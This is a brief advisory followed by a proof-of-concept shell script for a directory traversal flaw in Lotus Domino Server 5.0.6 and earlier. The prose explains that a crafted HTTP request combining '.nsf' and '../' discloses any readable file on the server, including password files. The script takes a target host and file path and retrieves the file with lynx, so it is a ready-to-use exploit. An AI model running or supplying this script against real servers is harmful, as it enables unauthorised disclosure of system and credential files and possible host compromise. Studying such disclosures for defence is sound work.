It is possible for a remote user to gain access to any known file residing on the Lotus Domino Server 5.0.6 and previous. A specially crafted HTTP request comprised of '.nsf' and '../' along with the known filename, will display the contents of the particular file with read permissions.
Successful exploitation of this vulnerability could enable a remote user to gain access to systems files, password files, etc. This could lead to a complete compromise of the host.
#!/bin/sh
HOST=$1
PATH=$2
start()
{
/usr/bin/lynx -dump http://$HOST/.nsf/../$PATH
}
if [ -n "$HOST" ]; then
start
else
echo "$0 <host> <path>"
fi
